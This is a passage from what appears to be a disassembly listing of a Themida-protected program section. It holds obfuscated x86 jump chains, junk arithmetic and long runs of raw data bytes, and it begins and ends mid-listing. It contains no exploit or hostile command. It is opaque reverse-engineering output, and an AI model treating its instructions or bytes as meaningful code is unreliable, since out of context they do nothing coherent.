81h dd 9F3BEDF6h, 0EE81460Eh, 4CBF3DEAh, 875EF001h, 248B2404h dd 0E7BFE924h, 0BB53FFFFh, 3DFA5DD6h, 0FFD7AAE9h, 1C77FFFFh dd 6658669Dh, 9C240419h, 0FFE53EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C375: ; CODE XREF: Themida_:0054C1D7j add ebx, 44516E0Bh sub ebx, 683D55D3h push edi jmp loc_5495BC ; --------------------------------------------------------------------------- db 51h dd 0F8E965B5h, 8900003Ah db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_549205 ; --------------------------------------------------------------------------- dw 268h dd 8900000Fh, 1EB9240Ch, 836C3623h, 0D9F701E9h, 2EE98141h dd 1364698h, 0BD5559CFh, 19E84F38h, 0C2F9E956h, 0F781FFFFh dd 258514B3h, 5CE2E781h, 0BA527896h, 555A2B7Dh, 20EAF281h dd 0D7310D01h, 0C8B575Ah, 5C6DE924h, 0E9510000h, 5FA7h ; --------------------------------------------------------------------------- loc_54C3FC: ; CODE XREF: Themida_:0054B37Cj add edi, 5D730BD9h add edi, 999CD614h push edi mov eax, [esp] jmp loc_54691F ; --------------------------------------------------------------------------- loc_54C411: ; CODE XREF: Themida_:0054C844j mov eax, 55ED7A32h shr eax, 2 push esi mov esi, 91229D23h jmp loc_549887 ; --------------------------------------------------------------------------- aSS7 db ')è]éÁ7',0 align 4 dd 5058E220h, 0C2082EB0h, 0D46FE958h, 5BB9FFFFh, 8170FD46h dd 84E82E9h, 0B689E94Ah, 0EC83FFFFh, 24048904h, 525331B0h dd 0F6E997B6h, 58FFFFBFh, 1BBCE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C462: ; CODE XREF: Themida_:00547E3Cj push ebx push esi jmp loc_54DC5F ; --------------------------------------------------------------------------- loc_54C469: ; CODE XREF: Themida_:00548F84j add esi, 4 xchg esi, [esp] pop esp add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_548E2F ; --------------------------------------------------------------------------- loc_54C485: ; CODE XREF: Themida_:0054693Aj push 6DCh mov [esp], ecx mov ecx, esp push eax mov eax, 15EF1DE3h not eax shl eax, 5 xor eax, 421C4384h add ecx, eax mov eax, [esp] jmp loc_548F7B ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C9h dd 5C8C2EDDh, 1E98349h, 0C102E1C1h, 0E98108E1h, 30BFEBFCh dd 82E9CF01h, 81000008h, 9322D7C2h, 0C603E937h, 79BDFFFFh dd 8102D72Ch, 3F236DC5h, 0A4C8E919h, 23B8FFFFh, 0E9143456h dd 0C38h, 4244C01h, 0E632E959h, 0E950FFFFh, 48F0h, 4C5815Dh dd 51000000h, 0C1815954h, 4, 8704E983h, 895C240Ch, 2BF243Ch dd 1000000h, 243C8BFDh, 8104C483h, 4ECh, 242C8900h, 42474FFh dd 81242C8Bh, 4C4h, 0B520E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C53E: ; CODE XREF: Themida_:00550454j mov eax, [esp] push ebp jmp loc_550427 ; --------------------------------------------------------------------------- loc_54C547: ; CODE XREF: Themida_:005474A3j push ebx mov ebx, 5FEB2E78h jmp loc_54DBF1 ; --------------------------------------------------------------------------- dw 6664h dd 6866028Bh, 896669D2h, 0DBE92404h, 0FFFFFF9Ah, 589D1C77h dd 9C240411h, 0FF9ACDE9h, 2EDA2DFFh, 3A2D6267h, 13F5A38h dd 383A05C8h, 0DA053F5Ah, 0E962672Eh, 360Bh, 1B1CCE81h dd 0EE81561Ah, 4C6E1EF4h, 0E29E9h, 9A9CE900h, 3489FFFFh dd 0EFE0E924h, 0C181FFFFh, 4, 0E9240C87h, 0FFFFB436h, 5AD7015Eh dd 0FFC0B60Fh, 82688734h, 89000073h, 0FC682434h, 5E000003h dd 1667E9h db 0 ; --------------------------------------------------------------------------- loc_54C5D5: ; CODE XREF: Themida_:0054D87Ej pop esp shr ecx, 0Bh push 201Bh mov [esp], ebx sub esp, 4 mov [esp], edi push 723928CEh pop edi jmp loc_54F610 ; --------------------------------------------------------------------------- db 55h, 0E9h, 44h dd 59FFFFA3h, 45AD388h, 66D8285Ch, 0E94D7A68h, 0FFFFA0BFh dd 0F6B25253h, 88D8F280h, 10EDE9D7h, 52560000h, 0A4AE168h dd 0C2815A4Eh, 78C71B7Ch, 6421F281h, 0C281186Bh, 214B36CBh dd 565AD689h, 0AD240481h, 8B37E563h, 0C4832404h, 4B3AE904h dd 56530000h, 2BEh, 425EE900h, 0C1590000h, 0C18107E1h dd 0FFFFFFFFh, 5E08950h, 4, 42Dh, 4739E900h, 0CA810000h dd 34C55F45h, 2C91E9h, 30F58100h, 8965AD7Ch, 0C6815DEEh dd 7EB92821h, 13B4F681h, 0F089F632h, 8FEE815Eh, 16FEB2Eh dd 8FC681C6h, 0E96FEB2Eh, 0FFFFB28Bh ; --------------------------------------------------------------------------- loc_54C6A8: ; CODE XREF: Themida_:005474B7j xchg ecx, [esp] pop esp add ebp, eax pop eax jmp loc_552113 ; --------------------------------------------------------------------------- dd 0E959CE29h, 0FFFFD69Ah, 2CF0005Ah, 0CCE95A54h, 0BE000014h dd 19192304h, 713FC681h, 0EE810E52h, 173145D3h, 575EF001h dd 547554BFh, 3EB95118h, 0F709CF1Bh, 4E82E9D1h, 0EDC00000h dd 1D0BE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C6F6: ; CODE XREF: Themida_:00549AD2j mov [esp], edi push 1B09h mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 push esi jmp loc_54B9B6 ; --------------------------------------------------------------------------- dw 0C131h dd 0B8F18158h, 0E9674D55h, 3592h ; --------------------------------------------------------------------------- loc_54C720: ; CODE XREF: Themida_:0054F108j push 3A3Eh mov [esp], ebp mov ebp, 7FB20D3Ch jmp loc_5482B8 ; --------------------------------------------------------------------------- dw 42Dh dd 87000000h, 248B2404h, 24248924h, 4240481h, 5E000000h dd 5AACBB53h, 0EB811E21h, 7E9A246Fh, 0E903EBC1h, 46ABh dd 5C240C87h, 0B4240489h, 58E688B6h, 0B8E9CE00h, 81FFFFC1h dd 4C5h, 0F2B85000h, 0E97F093Eh, 0FFFFB47Bh, 81240C8Bh dd 4C4h, 8B545200h, 89522414h, 9A64E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C796: ; CODE XREF: Themida_:0054E6D1j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax jmp loc_550451 ; --------------------------------------------------------------------------- dw 8B66h dd 5455240Ch, 0A3B9515Dh, 0E97A281Ah, 0FFFFCAB0h ; --------------------------------------------------------------------------- loc_54C7B8: ; CODE XREF: Themida_:005508DFj xor edi, esi jmp loc_550761 ; --------------------------------------------------------------------------- db 52h dd 0FB6FEABAh, 8BD6093Bh, 0C4812414h, 4, 1497C681h, 0F201CEB0h dd 8124348Bh, 4C4h, 50C20100h, 0B01485B8h, 5F68560Eh, 0E971763Fh dd 580Ch ; --------------------------------------------------------------------------- loc_54C7F4: ; CODE XREF: Themida_:00551EF9j mov edi, 55DD12FDh xor ebx, edi pop edi jmp loc_548FC0 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0D0h dd 4D13772Ch, 0FFFE70E9h, 0DAC181FFh, 0E964DF10h, 3066h dd 8704C683h, 0E95C2434h, 0FFFFC84Fh, 875DEB29h, 248B241Ch dd 24896624h, 66526624h, 660002BAh, 2245401h, 0FBE95A66h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C843: ; CODE XREF: Themida_:00548BA3j push eax jmp loc_54C411 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 8704C683h, 55C2434h, 4, 0FFC7D5E9h, 0E951FFh, 58FFFFC0h dd 0FFB013E9h, 0FF575DFFh, 5F042474h, 0E924048Fh, 5013h dd 0E9C0B60Fh, 0FFFFBBD4h, 4C181h, 25E90000h, 89000008h dd 16682434h, 89000047h, 4812424h, 424h, 2434FF00h, 121BE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C8AA: ; CODE XREF: Themida_:005483B2j pop ebp xor ebp, 7FD87C87h jmp loc_54A4FE ; --------------------------------------------------------------------------- loc_54C8B6: ; CODE XREF: Themida_:0054B9CAj mov [esp], ebx mov ebx, 4 add edi, ebx pop ebx xor edi, [esp] jmp loc_54851B ; --------------------------------------------------------------------------- loc_54C8C9: ; CODE XREF: Themida_:00547027j pop esi pop dword ptr [esp] jmp loc_54D753 ; --------------------------------------------------------------------------- loc_54C8D2: ; CODE XREF: Themida_:0054AF24j mov edi, edx pop edx jmp loc_54CB49 ; --------------------------------------------------------------------------- dw 805h dd 550F463h, 0B5D1B4Ch, 0FFC9A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C8E9: ; CODE XREF: Themida_:0054D20Bj jz loc_5475CD push dword ptr [edi+28h] push 6AE4h jmp loc_551E5D ; --------------------------------------------------------------------------- dd 8039E480h, 0E4C05DF4h, 0AFF48003h, 0FFFB1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C90D: ; CODE XREF: Themida_:0054956Cj push esp push dword ptr [esp] pop edi jmp loc_54EF85 ; --------------------------------------------------------------------------- db 29h dd 79E95FF8h, 1000058h, 4875FF8h, 4055C24h, 0E9000000h dd 0FFFFB64Fh ; --------------------------------------------------------------------------- loc_54C930: ; CODE XREF: Themida_:00552119j push 943h mov [esp], ebp not dword ptr [esp] pop ebp push edx mov edx, 1656230Bh or ebp, edx pop edx jmp loc_550472 ; --------------------------------------------------------------------------- loc_54C94A: ; CODE XREF: Themida_:0054ED65j mov ebp, 0DFAAB5A1h add ebp, eax push dword ptr [esp] pop eax add esp, 4 and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_54A4DB push 7A87h jmp loc_5492A4 ; --------------------------------------------------------------------------- db 56h, 0E9h, 59h dd 66FFFF9Dh, 0E9240C8Bh, 0FFFFB3D7h, 0A0C380h, 0A0EB80C3h dd 6899C380h, 3E91h, 0E9241489h, 0FFFFEE5Eh, 4C381h, 0C3830000h dd 241C8704h, 2404815Ch, 7C104F43h, 0FFEC5EE9h, 4EE81FFh dd 87000000h, 895C2434h, 0E789243Ch, 4C781h, 0EF830000h dd 1C60E904h, 0EC830000h, 242C8904h, 0C3050BBDh, 17BFE96Dh dd 31660000h, 33662414h, 31662414h, 68662414h, 89664CBDh dd 4FE92414h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9FB: ; CODE XREF: Themida_:00547837j push 4 pop ebx jmp loc_548614 ; --------------------------------------------------------------------------- dw 6866h dd 89666EABh, 50662414h, 9628E99Ch, 489FFFFh, 3471B024h dd 68B353FAh, 1C8BD828h, 4C48124h, 0E9000000h, 0FFFFAEC0h dd 4B8h, 9FEE8100h, 13F233Fh, 0C004E9C6h, 368FFFFh, 89000021h dd 0B450241Ch, 58E78839h, 0FFCB94E9h, 0D5E950FFh, 87000046h dd 895C240Ch, 11E9243Ch, 1FFFFC3h, 36685DE8h, 8900003Ch dd 2BD242Ch, 1000000h, 0EBA6E9E8h, 0C380FFFFh, 2434FF8Eh dd 18E5E959h, 74FF0000h, 8F5F0424h, 248B2404h, 48B6624h dd 0E2895224h, 0FFAF23E9h, 240481FFh, 4, 8324048Bh, 40504C4h dd 83000000h, 0DCE904ECh, 57FFFFD0h, 110264BFh, 3CBB531Ah dd 315F2079h, 50535BDFh, 9F069DB8h, 752DBB7Fh, 0C3316695h dd 5BDF2958h, 3C8BFB89h, 0E7895724h, 0FFDF90E9h, 5AD701FFh dd 5C243C87h, 565868h, 24348900h, 594AE9h, 4C18300h, 0FFA1A0E9h dd 656851FFh, 8900004Fh, 0BD552424h, 4, 4246C01h, 0C181595Dh dd 4, 3304C183h, 0C31240Ch, 240C3324h, 4C15E9h, 0B08DBF00h dd 0EC8124D3h, 4, 0B9240C89h, 72DF2044h, 0FFC325E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB49: ; CODE XREF: Themida_:0054C8D5j shl edi, 2 push edx jmp loc_54FB6E ; --------------------------------------------------------------------------- dw 312Ch dd 0C328F304h, 691C6858h, 14890000h, 0E9A2B624h, 0FFFFD448h dd 0AFF7E941h, 148BFFFFh, 4C48124h, 51000000h, 0E828EAB5h dd 4D80059h, 68142CEAh, 26FFh, 0FFA7D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB8D: ; CODE XREF: Themida_:00549263j pop ebx xchg edx, [esp] mov esp, [esp] push ebx push 1 pop ebx jmp loc_54808D ; --------------------------------------------------------------------------- loc_54CBA0: ; CODE XREF: Themida_:005462CEj mov edi, 7E536E6h add esi, edi jmp loc_550F3E ; --------------------------------------------------------------------------- dd 4C681h, 0EE830000h, 24348704h, 48F545Ch, 3C2A6824h dd 1C890000h, 4BB24h, 5C010000h, 585B0424h, 0FFA083E9h dd 242C8BFFh, 0FFF191E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CBDD: ; CODE XREF: Themida_:00546EABj sub dh, cl pop ecx and dh, 53h sub esp, 4 mov [esp], eax mov al, 0D3h sub dh, 0E3h sub dh, al add dh, 0E3h jmp loc_54BA85 ; --------------------------------------------------------------------------- loc_54CBF8: ; CODE XREF: Themida_:0054A031j mov [esp], ebp mov ebp, ebx jmp loc_551DAC ; --------------------------------------------------------------------------- loc_54CC02: ; CODE XREF: Themida_:00548FDEj add esi, 1C177823h sub esi, 5BB75DD3h sub esi, ebx add esi, 5BB75DD3h sub esi, 1C177823h xor ebx, esi xor esi, ebx xor ebx, esi pop esi jmp loc_54DE2B ; --------------------------------------------------------------------------- loc_54CC28: ; CODE XREF: Themida_:0054AE5Cj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 24248BC3h, 0FF9409E9h, 48BE56FFh, 8956B04Ah, 0EA815EF2h dd 71756353h, 0D3FE9h, 241C8900h, 42474FFh, 0E9241C8Bh dd 0FFFF995Eh, 0AABE56ADh, 2D03E910h, 72366C1Fh, 1F05F029h dd 8B72366Ch, 0C4832434h, 9AB95104h, 291F0141h, 0D82959C8h dd 0EBDE9h, 90E95600h, 5500003Dh, 4BDh, 8DEF8100h, 0E97AF749h dd 46A6h, 89C58955h, 5EE95DEAh, 81FFFFD4h, 2E6F61C5h, 2CBF5735h dd 816B3E24h, 1C7h, 4EC8100h, 89000000h, 4CBE2434h, 0E96B796Dh dd 2BA1h, 116568h, 24348900h, 47783EBEh, 46D6F733h, 8BE9DEF7h dd 81FFFFBDh, 662FF7EEh, 0D34CE905h, 1433FFFFh, 24143124h dd 8B241433h, 28E92424h, 54FFFF96h, 8324348Bh, 0C68104C4h dd 4, 605568h, 24148900h, 2BAh, 0C3E95200h, 0B4FFFFD4h dd 94E952B7h, 66FFFFDAh, 8124048Bh, 4ECh, 242C8900h, 0E957E589h dd 4D2Fh ; --------------------------------------------------------------------------- loc_54CD38: ; CODE XREF: Themida_:0054ECD6j add edx, 4 sub edx, 4 jmp loc_546ADD ; --------------------------------------------------------------------------- db 59h, 81h, 0C7h dd 2, 5C243C87h, 24043166h, 92E0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD5E: ; CODE XREF: Themida_:0055046Dj add edx, ebp mov ebp, [esp] add esp, 4 and ecx, edx pop edx shr ecx, 7 push edi push esp pop edi jmp loc_54B8B3 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 39EF68h, 0A859E900h, 0E952FFFFh, 0FFFFEF50h ; --------------------------------------------------------------------------- loc_54CD8C: ; CODE XREF: Themida_:0054BEAAj mov esp, [esp] sub eax, 3295712Ah push 760Ch jmp loc_546685 ; --------------------------------------------------------------------------- loc_54CD9E: ; CODE XREF: Themida_:0054A0FCj mov edx, edi mov ebp, edx pop edx pop edi and edi, ebp pop ebp xor edi, 297C565Dh sub edi, 4D9502B7h push edi pop edx jmp loc_5510AF ; --------------------------------------------------------------------------- dw 481h dd 424h, 24048F00h, 4B951h, 1DE90000h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CDCF: ; CODE XREF: Themida_:00546635j xor [esp], edx xor edx, [esp] jmp loc_548A62 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 15EF589h, 21B2E9EFh, 2C870000h, 0F7E95C24h dd 0C000027h, 0E95434B9h, 0FFFFB480h, 0E904C483h, 0FFFFFEC4h dd 6653665Bh, 66043E68h, 592D665Bh, 0D801664Fh, 0FFE85DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CE19: ; CODE XREF: Themida_:00547A3Ej push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_548A51 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 14870000h, 0FB315C24h, 0A45BE95Fh, 3431FFFFh dd 24343324h, 8524248Bh, 0EFE99CC8h, 59FFFF91h, 0FF9CFCE9h dd 4C483FFh, 706E6850h, 48580D14h, 0EB8F9505h, 58C101F2h dd 31240C33h, 5E9240Ch, 59000049h, 0B97E981h, 0E1C12206h dd 1EC18108h, 57F35377h, 0C53A0BBFh, 5FFB0176h, 0EB81CB29h dd 76C53A0Bh db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, 398A6B10h jmp loc_54E237 ; --------------------------------------------------------------------------- loc_54CEB2: ; CODE XREF: Themida_:005463C1j push 800h pop ebx and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx push esp mov ecx, [esp] add esp, 4 jmp loc_54E364 ; --------------------------------------------------------------------------- db 55h dd 0FFBD14E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CED9: ; CODE XREF: Themida_:0054E513j sub edi, esi pop esi push esi push edx jmp loc_548895 ; --------------------------------------------------------------------------- db 4 dd 2CC800D5h, 665966D5h, 0B252535Bh, 0D6C280EBh, 0E9D5EA80h dd 0BF6h ; --------------------------------------------------------------------------- loc_54CEFC: ; CODE XREF: Themida_:0054D1EEj mov ebx, 0CC0E1553h mov ebp, ebx pop ebx add ebx, 11D800E3h add ebx, ebp sub ebx, 11D800E3h pop ebp jmp loc_54FA3D ; --------------------------------------------------------------------------- loc_54CF18: ; CODE XREF: Themida_:0054F309j xor ebp, 40D5BD7Bh sub edi, ebp jmp loc_5502B9 ; --------------------------------------------------------------------------- loc_54CF25: ; CODE XREF: Themida_:00546539j xor esi, ecx jmp loc_54914B ; --------------------------------------------------------------------------- loc_54CF2C: ; CODE XREF: Themida_:00548BB0j or edx, 16A131AAh xor edx, 1F9E58AFh xor edx, 5BC14266h xor ecx, edx pop edx jmp loc_549550 ; --------------------------------------------------------------------------- loc_54CF46: ; CODE XREF: Themida_:0055156Bj xor ebx, ebp not ebx shr ebx, 5 sub ebx, 42008Fh jmp loc_54A563 ; --------------------------------------------------------------------------- dd 81595451h, 4C1h, 0F6E4E900h, 0BA68FFFFh, 0E900000Eh dd 545Eh ; --------------------------------------------------------------------------- loc_54CF70: ; CODE XREF: Themida_:0055082Dj mov esi, esp jmp loc_54E6E5 ; --------------------------------------------------------------------------- db 0C1h dd 0C18104E1h, 3DDD28A4h, 0C29DE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF86: ; CODE XREF: Themida_:0054D2C4j pop edi mov edi, [esp] jmp loc_54AD7A ; --------------------------------------------------------------------------- db 81h dd 2658F8C7h, 0E9F70115h, 0FFFFDB1Ch ; --------------------------------------------------------------------------- loc_54CF9C: ; CODE XREF: Themida_:0054AB14j mov ebx, eax push ecx mov ecx, ebx jmp loc_54A068 ; --------------------------------------------------------------------------- aVVz6pbSo db 'V¾¢z6pÁ',27h,']Ñ"éŽ+',0 dw 3300h a41434S db '4$14$34$é¹',9,0 dd 81434300h, 15DC03EBh, 0C1DBF705h, 0EB8108EBh, 0E5A6D8h dd 0E95BD801h, 0FFFFA87Fh ; --------------------------------------------------------------------------- loc_54CFE0: ; CODE XREF: Themida_:0054AEFAj mov [esp], ebp jmp loc_54F84C ; --------------------------------------------------------------------------- dd 0CB72CC2Dh, 0D019E956h, 9E68FFFFh, 8900004Ah, 5CE9240Ch dd 8F00002Bh, 9038E902h, 0B60FFFFFh, 0A36866C0h, 4896647h dd 9028E924h, 0CA21FFFFh, 0B3EE959h, 0C5810000h, 2, 5C242C87h dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54B7CA ; --------------------------------------------------------------------------- dd 0BC00E958h, 8151FFFFh, 4ECh, 24048900h, 405E089h, 83000000h dd 26E904E8h, 87FFFFD9h, 0E9D6F7F7h, 1020h ; --------------------------------------------------------------------------- loc_54D05C: ; CODE XREF: Themida_:0054B36Cj push eax not dword ptr [esp] jmp loc_5465A4 ; --------------------------------------------------------------------------- loc_54D065: ; CODE XREF: Themida_:00550000j or edx, eax shl edx, 1 push 48D6h mov [esp], esi push eax push ecx mov ecx, 3EDA15FEh mov eax, 72C22C5Eh jmp loc_5522D4 ; --------------------------------------------------------------------------- aXh db 'XhÚ=',0 align 4 dd 0E9241C89h, 0FFFFC034h, 240C8B5Bh, 4C481h, 9FE90000h dd 0C1FFFF8Fh, 0EDC107EDh, 0BE31E906h, 4168FFFFh, 0E9567D4Ch dd 4C23h, 5C240C87h, 0FFA40BE9h, 0FFDA01FFh, 1C8B2434h dd 4C48124h, 81000000h, 4C4h, 24148700h, 0E924248Bh, 0FFFFE48Bh dd 0E9243487h, 0FFFFDB08h ; --------------------------------------------------------------------------- loc_54D0E4: ; CODE XREF: Themida_:00546CDEj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebp, 4 xchg ebp, [esp] pop esp push 2EC5h mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_550F57 ; --------------------------------------------------------------------------- dd 34562735h, 2140E914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D12E: ; CODE XREF: Themida_:00551CD2j add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_547EC5 ; --------------------------------------------------------------------------- db 89h dd 0CEB82404h, 292EC901h, 0E9042444h, 0FFFF9038h, 83241C8Bh dd 0E95704C4h, 0FFFFF92Ah ; --------------------------------------------------------------------------- loc_54D160: ; CODE XREF: Themida_:005494C4j xor ebx, esi jmp loc_54C129 ; --------------------------------------------------------------------------- db 88h dd 0E9D588C2h, 0FFFFD089h, 0E9243C33h, 0FFFFB9E4h, 0E959EE00h dd 118Fh, 34FFC588h, 0C4835824h, 876C8804h, 1C8B5901h dd 4C48324h, 0FF8EA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D199: ; CODE XREF: Themida_:005494DBj dec ebx xor ebx, 0F7F41104h add eax, ebx pop ebx mov ebx, [esp] add esp, 4 push 70E4h mov [esp], eax push edi jmp loc_54B371 ; --------------------------------------------------------------------------- db 0FFh dd 51582434h, 240C8B54h, 4C481h, 0C1810000h, 4, 7AEA68h dd 0AC85E900h, 6A2DFFFFh, 818F4F83h, 5020E4C3h, 0E770E973h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1E6: ; CODE XREF: Themida_:0055114Dj xchg ecx, [esp] pop esp mov [esp], ebp push ebx jmp loc_54CEFC ; --------------------------------------------------------------------------- loc_54D1F3: ; CODE XREF: Themida_:0054713Dj pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] or eax, eax jmp loc_54C8E9 ; --------------------------------------------------------------------------- dd 5568EAB8h, 1C6CE969h, 0C4830000h, 0EF2FE904h, 5105FFFFh dd 2936924Fh, 4F512DD0h, 685A3692h, 1B6Ah, 68243489h, 7C44h dd 0FFC811E9h, 69C380FFh, 65E9C328h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D24B: ; CODE XREF: Themida_:0054DC09j sub ebx, 598B16DAh push edx jmp loc_547807 ; --------------------------------------------------------------------------- db 5Dh dd 523EB81h, 0FB01151Ah, 523C381h, 515F151Ah, 2B9h, 0E9CB0100h dd 48F2h, 0E9240487h, 48CBh, 0BE5655ADh, 759A335Bh, 4B77E9h dd 2158B900h, 0BA525C00h, 18864146h, 0FFCA99E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D299: ; CODE XREF: Themida_:00551DD8j mov [esp], edx mov edx, 24h add edx, edi jmp loc_54D4AC ; --------------------------------------------------------------------------- dd 1CE9E189h, 50000023h, 0C9E9F888h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D2B7: ; CODE XREF: Themida_:0054640Cj shr edi, 4 xor edi, 578F9749h sub [esp+8], edi jmp loc_54CF86 ; --------------------------------------------------------------------------- db 4Fh, 53h, 0BBh dd 6AF17057h, 7450CB81h, 0CB816BF0h, 60F45D72h, 44C8B951h dd 31E90680h, 81000049h, 4C4h, 72C68100h, 167CC01h, 72EE81FEh dd 8167CC01h, 7A4617EEh, 2434FF0Bh, 0E389535Fh, 4C381h dd 0C3810000h, 4, 0E9241C87h, 3226h ; --------------------------------------------------------------------------- loc_54D31C: ; CODE XREF: Themida_:0054B308j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 push edi push ebx push 7E7347ECh pop ebx shr ebx, 3 neg ebx add ebx, 0FCE6901h mov edi, ebx pop ebx jmp loc_54F5B9 ; --------------------------------------------------------------------------- dd 0ACF8840Fh, 0EC83FFFFh, 48F5404h, 24048124h, 4, 6824348Bh dd 59F8h, 54240489h, 0E924048Bh, 375Ch ; --------------------------------------------------------------------------- loc_54D374: ; CODE XREF: Themida_:0054DEA3j mov esp, [esp] push edx jmp loc_54F71F ; --------------------------------------------------------------------------- db 81h, 0C1h, 2 dd 33000000h, 0C31240Ch, 1D7FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D38E: ; CODE XREF: Themida_:0054AD29j push 0C14h jmp loc_54B4D4 ; --------------------------------------------------------------------------- dd 2CE9E189h, 50FFFFEDh, 405E089h, 5000000h, 4, 0E9240487h dd 0FFFF8D55h, 24048B66h, 5BBA68h, 243C8900h, 0B0F7E954h dd 0E681FFFFh, 29DC2E88h, 0FFBF53E9h, 0C028B4FFh, 0CCFE07ECh dd 0F480CCFEh, 0F3F480DEh, 74E9E328h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D3E7: ; CODE XREF: Themida_:0054E599j sub ebp, ecx pop ecx push ebp jmp loc_54B0D5 ; --------------------------------------------------------------------------- dd 405h, 4C08300h, 2756E9h, 0C896600h, 82E95224h, 66000002h dd 5024048Bh, 4C6668h, 24248900h, 4240483h, 40558h, 0EC830000h dd 4C2EE904h, 0C1FE0000h, 8016E980h, 1EE91FF1h, 0B1FFFFE1h dd 5AF128D7h, 0CB28CDB3h, 636E959h, 0E9500000h, 0FFFFC789h dd 0FDE9C909h, 0F6FFFFFEh, 0E99C241Ch, 0FFFF8BE6h, 4C781h dd 0EC830000h, 243C8904h, 42474FFh, 3148E95Fh, 81660000h dd 0E90A59EBh, 48ABh, 0C008EEC0h, 0E6C006E6h, 464FE908h dd 46BB0000h, 297F7472h, 0E8015BD8h, 74724605h, 4F8057Fh dd 55D0C71h, 72DF2044h, 43B5E95Fh, 0E9500000h, 0FFFF919Eh ; --------------------------------------------------------------------------- loc_54D4AC: ; CODE XREF: Themida_:0054D2A3j push ebx mov ebx, 0 add ebx, edx xor [ebx], esi pop ebx pop edx jmp loc_54D849 ; --------------------------------------------------------------------------- db 81h, 0E3h, 0C8h dd 811A5C63h, 7B37B5EBh, 0D8EB811Ah, 98340B7h, 0E1C15BD9h dd 0D1F74904h, 0CFF0BA52h, 0D1016FA7h, 5A2434FFh, 0B571E955h dd 0F201FFFFh, 695C281h, 815E4879h, 4C2h, 24148700h, 4C4815Ch dd 0F7000000h, 0E18951E9h, 8904EC83h, 95BB241Ch, 5219F16Eh dd 4A5074BAh, 5AD32947h, 776BEB81h, 0C3812B20h, 5879594Eh dd 0EBE9D901h, 0BFFFFF92h, 59B80040h, 0EECEEF81h, 0F9293D22h dd 8956505Fh, 5EF089CEh, 5958C789h, 0C8E9FA01h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D54F: ; CODE XREF: Themida_:0054E36Aj push edi mov edi, 5B2B2A35h sub edi, 1 jmp loc_5471F6 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFEAF6E9h, 48B66FFh, 0E6895624h, 4BD55h, 0EE010000h dd 0FFBE25E9h, 88FC88FFh, 911EE9E6h, 1487FFFFh, 59DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D58A: ; CODE XREF: Themida_:0054E979j pop edi mov eax, ebp push dword ptr [esp] pop ebp jmp loc_549EB0 ; --------------------------------------------------------------------------- dw 85B8h dd 314C740Dh, 0BB535EF0h, 5BD57877h, 344FB951h, 0F9E902C5h dd 66000020h, 5024048Bh, 0C446E954h, 8159FFFFh, 3E22D1C7h dd 8BF80130h, 0EAE9243Ch, 1000036h, 2D3705D8h, 6B2D3167h dd 53065B34h, 0C443F0BBh, 0E9D80145h, 2B0Dh, 88FE8852h dd 0E5885AF4h, 241C8B58h, 4C481h, 148B0000h, 4C48324h dd 0E828052Ch, 0C8B0504h, 4C48124h, 66000000h, 35B652h dd 3494E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D616: ; CODE XREF: Themida_:0054758Fj pop esp mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_54BED0 ; --------------------------------------------------------------------------- db 30h dd 0C2E9241Ch, 30FFFFDEh, 24048BE2h, 4C481h, 1FE90000h dd 66000021h, 